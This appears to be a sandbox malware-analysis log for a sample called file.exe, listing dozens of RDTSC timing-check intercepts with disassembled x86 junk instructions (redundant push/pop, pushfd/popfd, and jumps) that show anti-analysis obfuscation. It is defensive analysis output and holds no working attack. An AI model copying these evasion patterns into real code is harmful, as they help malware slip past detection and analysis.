Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00C5 second address: 54E00DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00DA second address: 54E00DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00DE second address: 54E00E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00E2 second address: 54E00E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00E8 second address: 54E0102 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0102 second address: 54E0106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0106 second address: 54E010C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E010C second address: 54E0112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0112 second address: 54E0116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0116 second address: 54E014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FD7251DA7E0h 0x0000000f push dword ptr [ebp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD7251DA7E7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E014C second address: 54E0151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0151 second address: 54E01C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7251DA7E5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push dword ptr [ebp+0Ch] 0x0000000f pushad 0x00000010 jmp 00007FD7251DA7DCh 0x00000015 jmp 00007FD7251DA7E2h 0x0000001a popad 0x0000001b push dword ptr [ebp+08h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FD7251DA7DDh 0x00000027 or ecx, 0D6644D6h 0x0000002d jmp 00007FD7251DA7E1h 0x00000032 popfd 0x00000033 mov ax, 2047h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E01C1 second address: 54E01C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E01C7 second address: 54E01CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500A8F second address: 5500A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500661 second address: 55006B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, D7h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FD7251DA7E4h 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 call 00007FD7251DA7DAh 0x00000018 pop esi 0x00000019 mov edi, 2052A096h 0x0000001e popad 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FD7251DA7DDh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD7251DA7DDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500551 second address: 5500557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500557 second address: 550055D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550055D second address: 55005F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FD724C6C5DAh 0x0000000e push eax 0x0000000f pushad 0x00000010 mov dh, 1Fh 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FD724C6C5E8h 0x00000019 jmp 00007FD724C6C5E5h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FD724C6C5E0h 0x00000025 adc si, D748h 0x0000002a jmp 00007FD724C6C5DBh 0x0000002f popfd 0x00000030 popad 0x00000031 popad 0x00000032 xchg eax, ebp 0x00000033 jmp 00007FD724C6C5E6h 0x00000038 mov ebp, esp 0x0000003a pushad 0x0000003b mov cx, 73FDh 0x0000003f call 00007FD724C6C5DAh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55002E6 second address: 5500312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD7251DA7E7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500312 second address: 5500336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500336 second address: 550033A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550033A second address: 5500354 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500354 second address: 550035A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550035A second address: 550035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550035E second address: 55003D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ecx, edi 0x0000000c pushfd 0x0000000d jmp 00007FD7251DA7DBh 0x00000012 xor si, 238Eh 0x00000017 jmp 00007FD7251DA7E9h 0x0000001c popfd 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 jmp 00007FD7251DA7DEh 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FD7251DA7DDh 0x0000002f and ch, 00000076h 0x00000032 jmp 00007FD7251DA7E1h 0x00000037 popfd 0x00000038 pushad 0x00000039 popad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55003D0 second address: 55003D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55100B8 second address: 55100D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD7251DA7E5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55100D8 second address: 551012B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD724C6C5E7h 0x00000009 xor ecx, 71A74A7Eh 0x0000000f jmp 00007FD724C6C5E9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD724C6C5DFh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551012B second address: 5510148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510148 second address: 55101EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD724C6C5E7h 0x00000009 adc eax, 05F59A9Eh 0x0000000f jmp 00007FD724C6C5E9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FD724C6C5E0h 0x0000001b and si, 2C98h 0x00000020 jmp 00007FD724C6C5DBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov edx, 552D1B86h 0x00000032 pushfd 0x00000033 jmp 00007FD724C6C5E7h 0x00000038 and ecx, 41A0920Eh 0x0000003e jmp 00007FD724C6C5E9h 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55101EA second address: 55101FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7251DA7DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550428 second address: 555042E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555042E second address: 5550432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550432 second address: 5550436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550436 second address: 5550470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD7251DA7DEh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov ebx, esi 0x00000012 mov si, A3F9h 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a jmp 00007FD7251DA7E2h 0x0000001f push eax 0x00000020 push edx 0x00000021 mov bx, si 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552037C second address: 55203A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203A0 second address: 55203A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203A6 second address: 55203BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD724C6C5E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203BA second address: 55203C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203C9 second address: 55203CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203CD second address: 55203D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203D3 second address: 55203E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD724C6C5DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203E5 second address: 55203E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203E9 second address: 55203F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203F9 second address: 55203FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203FD second address: 5520403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520403 second address: 5520409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520409 second address: 5520424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov ah, E9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510F3D second address: 5510F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510F42 second address: 5510F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55201B2 second address: 55201E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, DCh 0x0000000d mov edi, 7ED694DCh 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov esi, 75D1209Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55201E2 second address: 55201F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b movzx eax, bx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55201F5 second address: 5520239 instructions: 0x00000000 rdtsc 0x00000002 call 00007FD7251DA7DDh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD7251DA7E7h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD7251DA7E5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520239 second address: 552025A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, F982h 0x00000007 movsx ebx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD724C6C5E1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540801 second address: 554082E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD7251DA7E6h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD7251DA7DDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554082E second address: 554084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554084C second address: 5540850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540850 second address: 5540863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540863 second address: 554089F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushad 0x0000000f call 00007FD7251DA7E6h 0x00000014 pop eax 0x00000015 call 00007FD7251DA7DBh 0x0000001a pop eax 0x0000001b popad 0x0000001c mov bh, FAh 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554089F second address: 55408A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, E7h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55408A6 second address: 55408DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov dx, F280h 0x00000010 push ebx 0x00000011 pop esi 0x00000012 popad 0x00000013 mov dx, 9198h 0x00000017 popad 0x00000018 xchg eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD7251DA7DAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55408DB second address: 5540997 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [775165FCh] 0x0000000e pushad 0x0000000f mov ax, 775Bh 0x00000013 pushfd 0x00000014 jmp 00007FD724C6C5E0h 0x00000019 or si, 1328h 0x0000001e jmp 00007FD724C6C5DBh 0x00000023 popfd 0x00000024 popad 0x00000025 test eax, eax 0x00000027 pushad 0x00000028 call 00007FD724C6C5E4h 0x0000002d jmp 00007FD724C6C5E2h 0x00000032 pop esi 0x00000033 pushfd 0x00000034 jmp 00007FD724C6C5DBh 0x00000039 and ax, 89CEh 0x0000003e jmp 00007FD724C6C5E9h 0x00000043 popfd 0x00000044 popad 0x00000045 je 00007FD796BBF5CFh 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FD724C6C5DCh 0x00000052 xor eax, 3472BA48h 0x00000058 jmp 00007FD724C6C5DBh 0x0000005d popfd 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540997 second address: 554099B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554099B second address: 55409DF instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, eax 0x00000009 jmp 00007FD724C6C5DEh 0x0000000e xor eax, dword ptr [ebp+08h] 0x00000011 jmp 00007FD724C6C5E1h 0x00000016 and ecx, 1Fh 0x00000019 jmp 00007FD724C6C5DEh 0x0000001e ror eax, cl 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55409DF second address: 55409E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55409E3 second address: 5540A00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540A00 second address: 5540A2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 jmp 00007FD7251DA7E8h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e leave 0x0000000f pushad 0x00000010 mov ax, 1D9Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540A2B second address: 5540A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540A2F second address: 5540ACE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD7251DA7E6h 0x00000008 or ah, 00000028h 0x0000000b jmp 00007FD7251DA7DBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 retn 0004h 0x00000017 nop 0x00000018 mov esi, eax 0x0000001a lea eax, dword ptr [ebp-08h] 0x0000001d xor esi, dword ptr [00D82014h] 0x00000023 push eax 0x00000024 push eax 0x00000025 push eax 0x00000026 lea eax, dword ptr [ebp-10h] 0x00000029 push eax 0x0000002a call 00007FD7299DB173h 0x0000002f push FFFFFFFEh 0x00000031 pushad 0x00000032 mov dx, ax 0x00000035 mov ah, 03h 0x00000037 popad 0x00000038 pop eax 0x00000039 jmp 00007FD7251DA7E3h 0x0000003e ret 0x0000003f nop 0x00000040 push eax 0x00000041 call 00007FD7299DB18Ah 0x00000046 mov edi, edi 0x00000048 jmp 00007FD7251DA7E6h 0x0000004d xchg eax, ebp 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007FD7251DA7DDh 0x00000057 or ecx, 04482E56h 0x0000005d jmp 00007FD7251DA7E1h 0x00000062 popfd 0x00000063 jmp 00007FD7251DA7E0h 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540ACE second address: 5540B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD724C6C5E1h 0x00000008 pop ecx 0x00000009 mov bx, 3E54h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FD724C6C5DAh 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov ah, 2Ah 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dl, ah 0x00000022 pushfd 0x00000023 jmp 00007FD724C6C5E3h 0x00000028 or cx, CA4Eh 0x0000002d jmp 00007FD724C6C5E9h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B35 second address: 5540B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B3B second address: 5540B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F002C second address: 54F0044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7251DA7E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0044 second address: 54F0048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0048 second address: 54F0060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD7251DA7DDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0060 second address: 54F007D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD724C6C5E0h 0x00000012 rdtsc
